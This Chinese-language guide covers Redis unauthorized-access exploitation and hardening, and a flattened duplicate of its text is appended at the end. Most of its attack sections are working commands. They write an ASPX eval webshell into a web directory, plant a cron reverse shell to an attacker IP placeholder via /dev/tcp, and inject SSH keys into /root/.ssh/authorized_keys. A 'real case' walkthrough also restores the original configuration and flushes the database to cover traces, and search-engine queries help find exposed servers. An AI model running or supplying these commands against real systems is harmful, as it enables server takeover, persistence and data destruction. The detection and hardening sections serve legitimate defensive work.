Redis漏洞利用与防御
字数 1613 2025-08-18 11:37:16

Redis漏洞利用与防御全面指南

一、Redis简介与基础

Redis(Remote Dictionary Server)是一个开源的key-value存储系统,由Salvatore Sanfilippo开发,具有以下特点:

  • 使用ANSI C语言编写
  • 支持网络、基于内存亦可持久化
  • 提供多种数据结构:字符串(String)、哈希(Map)、列表(list)、集合(sets)和有序集合(sorted sets)
  • 默认端口:6379(Redis服务),26379(Sentinel配置器)

实验环境搭建

  1. 下载安装(建议使用3.2.11版本进行漏洞测试):
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar -xvf redis-3.2.11.tar.gz
cd redis-3.2.11
make
  1. 修改配置文件(redis.conf):
# 注释掉bind行
# bind 127.0.0.1

# 关闭保护模式
protected-mode no
  1. 启动Redis:
./src/redis-server redis.conf

二、Redis常见命令

命令 描述
info 查看Redis信息
flushall 删除所有数据库内容
flushdb 刷新当前数据库
KEYS * 查看所有键
set test "value" 设置变量
config set dir dirpath 设置工作目录
save 保存数据到磁盘
get key 获取键值

三、Redis相关漏洞

1. 未授权访问漏洞

  • 默认配置无认证,可导致敏感信息泄露
  • 可执行恶意命令如flushall清空所有数据
  • 可通过EVAL执行lua代码

2. 高危漏洞列表

CVE-2016-8339
Redis 3.2.x < 3.2.4版本缓冲区溢出漏洞,可导致任意代码执行

CVE-2015-8080
Redis 2.8.x < 2.8.24和3.0.x < 3.0.6版本整数溢出漏洞,可绕过沙盒限制

CVE-2015-4335
Redis < 2.8.1和3.x < 3.0.2版本eval命令执行漏洞

CVE-2013-7458
读取".rediscli_history"配置文件信息漏洞

四、Redis攻击技术详解

1. 内网探测

使用nmap扫描Redis服务:

nmap -v -n -Pn -p 6379 -sV --script redis-info 192.168.56.1/24

2. 暴力破解

使用redis-sha-crack工具:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555

3. 获取Webshell

当Redis有web目录写权限时:

config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save

4. 反弹Shell

set x "\n\n*bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

5. SSH免密登录

ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 公钥内容\n\n\n"
save

五、Redis漏洞利用实战案例

1. 非标准端口Redis发现

通过nmap扫描发现Redis运行在3357端口

2. 认证登录

telnet 目标IP 3357
auth 密码

3. 获取Webshell完整流程

  1. 查看当前配置:
config get dir
config get dbfilename
  1. 设置Web目录和文件名:
config set dir E:/www/
config set dbfilename redis2.aspx
  1. 写入Webshell:
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
  1. 恢复原始配置:
config set dir 原目录
config set dbfilename 原文件名
del a
flushdb

六、入侵检测与防御

入侵检测方法

  1. 检查异常key:
keys *
get 可疑key名
  1. Linux系统检查:
  • 查看/root/.ssh/authorized_keys是否被修改
  • 检查是否存在异常cron任务
  1. Webshell扫描:
  • 检查网站目录是否存在Redis相关webshell

安全加固措施

  1. 网络层防护:
  • 防火墙禁用6379端口
  • 修改Redis默认端口
  1. 认证配置:
# 修改redis.conf
requirepass 强密码
  1. 访问控制:
# 限制绑定IP
bind 内网IP
  1. 命令重命名/禁用:
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command EVAL ""
  1. 其他安全措施:
  • 使用低权限用户运行Redis
  • 定期备份重要数据
  • 保持Redis版本更新

七、参考工具与资源

  1. 漏洞扫描工具:
  • nmap Redis检测脚本
  • Metasploit Redis模块
  1. 暴力破解工具:
  • redis-sha-crack (GitHub)
  1. 搜索引擎:
  • ZoomEye: port:6379
  • FOFA: port="6379" && protocol==redis
  1. 参考文档:
  • Redis官方文档: https://redis.io/
  • Redis命令参考: https://www.cnblogs.com/kongzhongqijing/p/6867960.html

通过以上全面的安全措施,可以有效防御Redis相关的安全风险,保护系统免受攻击。

Redis漏洞利用与防御全面指南 一、Redis简介与基础 Redis(Remote Dictionary Server)是一个开源的key-value存储系统,由Salvatore Sanfilippo开发,具有以下特点: 使用ANSI C语言编写 支持网络、基于内存亦可持久化 提供多种数据结构:字符串(String)、哈希(Map)、列表(list)、集合(sets)和有序集合(sorted sets) 默认端口:6379(Redis服务),26379(Sentinel配置器) 实验环境搭建 下载安装(建议使用3.2.11版本进行漏洞测试): 修改配置文件(redis.conf): 启动Redis: 二、Redis常见命令 | 命令 | 描述 | |------|------| | info | 查看Redis信息 | | flushall | 删除所有数据库内容 | | flushdb | 刷新当前数据库 | | KEYS * | 查看所有键 | | set test "value" | 设置变量 | | config set dir dirpath | 设置工作目录 | | save | 保存数据到磁盘 | | get key | 获取键值 | 三、Redis相关漏洞 1. 未授权访问漏洞 默认配置无认证,可导致敏感信息泄露 可执行恶意命令如flushall清空所有数据 可通过EVAL执行lua代码 2. 高危漏洞列表 CVE-2016-8339 Redis 3.2.x < 3.2.4版本缓冲区溢出漏洞,可导致任意代码执行 CVE-2015-8080 Redis 2.8.x < 2.8.24和3.0.x < 3.0.6版本整数溢出漏洞,可绕过沙盒限制 CVE-2015-4335 Redis < 2.8.1和3.x < 3.0.2版本eval命令执行漏洞 CVE-2013-7458 读取".rediscli_ history"配置文件信息漏洞 四、Redis攻击技术详解 1. 内网探测 使用nmap扫描Redis服务: 2. 暴力破解 使用redis-sha-crack工具: 3. 获取Webshell 当Redis有web目录写权限时: 4. 反弹Shell 5. SSH免密登录 五、Redis漏洞利用实战案例 1. 非标准端口Redis发现 通过nmap扫描发现Redis运行在3357端口 2. 认证登录 3. 获取Webshell完整流程 查看当前配置: 设置Web目录和文件名: 写入Webshell: 恢复原始配置: 六、入侵检测与防御 入侵检测方法 检查异常key: Linux系统检查: 查看/root/.ssh/authorized_ keys是否被修改 检查是否存在异常cron任务 Webshell扫描: 检查网站目录是否存在Redis相关webshell 安全加固措施 网络层防护: 防火墙禁用6379端口 修改Redis默认端口 认证配置: 访问控制: 命令重命名/禁用: 其他安全措施: 使用低权限用户运行Redis 定期备份重要数据 保持Redis版本更新 七、参考工具与资源 漏洞扫描工具: nmap Redis检测脚本 Metasploit Redis模块 暴力破解工具: redis-sha-crack (GitHub) 搜索引擎: ZoomEye: port:6379 FOFA: port="6379" && protocol==redis 参考文档: Redis官方文档: https://redis.io/ Redis命令参考: https://www.cnblogs.com/kongzhongqijing/p/6867960.html 通过以上全面的安全措施,可以有效防御Redis相关的安全风险,保护系统免受攻击。